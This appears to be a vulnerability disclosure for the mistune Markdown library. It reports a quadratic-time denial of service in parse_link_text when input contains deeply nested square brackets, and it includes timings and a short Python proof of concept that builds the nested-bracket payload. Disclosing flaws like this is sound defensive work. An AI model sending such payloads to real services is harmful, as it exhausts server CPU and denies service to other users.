Summary

A Regular Expression Denial of Service (ReDoS) vulnerability in mistune 3.2.1 allows any user to cause severe CPU exhaustion by submitting markdown with deeply nested square brackets. The parse_link_text function in src/mistune/helpers.py exhibits O(n²) time complexity when processing inputs with many nested bracket characters, causing parsing times that scale quadratically with input size.

Details

The vulnerability exists in the parse_link_text function (src/mistune/helpers.py), which is called when parsing markdown links. The function uses _INLINE_SQUARE_BRACKET_RE = re.compile(r"(?<!\\)(?:\\\\)*[\[\]]") to scan for bracket characters. For each bracket found, the regex search starts from the current position and scans forward.

When processing input with n nested brackets (e.g., [ × n + ] × n), the inline parser's main loop attempts to parse a link at each [ position. The parse_link_text function scans through all remaining brackets before determining the link is invalid, then the parser advances by one character and repeats. This results in O(n²) total work:

• First [: scans through all 2n brackets
• Second [: scans through all 2n-1 brackets
• ...
• nth [: scans through n brackets

Measured timing on mistune 3.2.1:

• n=1,000: 0.30s
• n=2,000: 1.15s
• n=4,000: 4.51s
• n=8,000: 18.57s
• n=16,000: 72.91s

Vulnerable code:

# src/mistune/helpers.py
def parse_link_text(src: str, pos: int) -> Union[Tuple[str, int], Tuple[None, None]]:
    level = 1
    found = False
    start_pos = pos

    while pos < len(src):
        m = _INLINE_SQUARE_BRACKET_RE.search(src, pos)  # O(n) scan per bracket
        if not m:
            break
        pos = m.end()
        marker = m.group(0)
        if marker == "]":
            level -= 1
            if level == 0:
                found = True
                break
        else:
            level += 1
    # ...

There is no depth limit on the level counter and no maximum input length check.

PoC

import time
import mistune

md = mistune.html  # Uses escape=False by default

# Payload: deeply nested brackets causing O(n²) parsing
for n in [1000, 2000, 4000, 8000, 16000]:
    payload = "[" * n + "]" * n
    start = time.time()
    result = md(payload)
    elapsed = time.time() - start
    print(f"n={n}: {elapsed:.3f}s")

Run with: python3 poc_redos.py

Impact

• Type: Denial of Service (ReDoS / Algorithmic Complexity)
• Who is impacted: Any application using mistune to render user-supplied markdown (web applications, documentation systems, CMS platforms, API services)
• Attack vector: A single HTTP request with ~16KB of crafted markdown can cause 70+ seconds of CPU time. A few concurrent requests can completely exhaust server resources.